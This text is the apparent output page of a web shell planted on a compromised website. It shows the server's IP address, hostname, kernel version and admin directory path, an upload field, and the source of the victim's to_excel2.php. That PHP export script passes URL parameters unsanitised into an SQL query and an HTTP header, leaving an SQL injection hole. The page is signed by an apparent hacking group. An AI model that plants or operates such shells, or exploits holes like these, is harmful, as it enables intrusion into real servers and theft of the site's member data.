1337 3YP455 5H311
:
216.73.216.113
:
119.59.104.17 / hrdigest.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
hrdigest
/
public_html
/
admin
/
UP104D F1L3:
files >> /home/hrdigest/public_html/admin/to_excel2.php
<?php require("../inc/function_admin.php"); $mem = checkid(); header("Content-Type: application/vnd.ms-excel"); header('Content-Disposition: attachment; filename="' . $_GET["name"] . '.xls"');#ชื่อไฟล์ if(empty($_GET["type"])) unset($_GET["type"]); $_type = $_GET["type"] - 1; $type = isset($_GET['type']) ? "Where `type` = '$_type'" : ""; $result = mysql_query("Select * From `form_membernew2` $type Order By `id` Asc"); $result_col = mysql_query("Show Columns From `form_membernew2`"); $num_col = mysql_num_rows($result_col); ?> <html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <table x:str border="1"> <tr> <? $_val = array(); while($row = mysql_fetch_array($result_col)){ if(!eregi("^user_id$|^pass$|^pass_confirm$", $row["0"])){ $_val[] = $row["0"]; ?> <td><? echo $row["0"]; ?></td> <? } } ?> </tr> <? while($row = mysql_fetch_array($result)){ ?> <tr> <? foreach($_val as $key => $value){ ?> <td><? echo $row["$value"]; ?> </td> <? } ?> </tr> <? } ?> </table> </body> </html>
1337r0j4n | 13379H0575 53CURI7Y 734M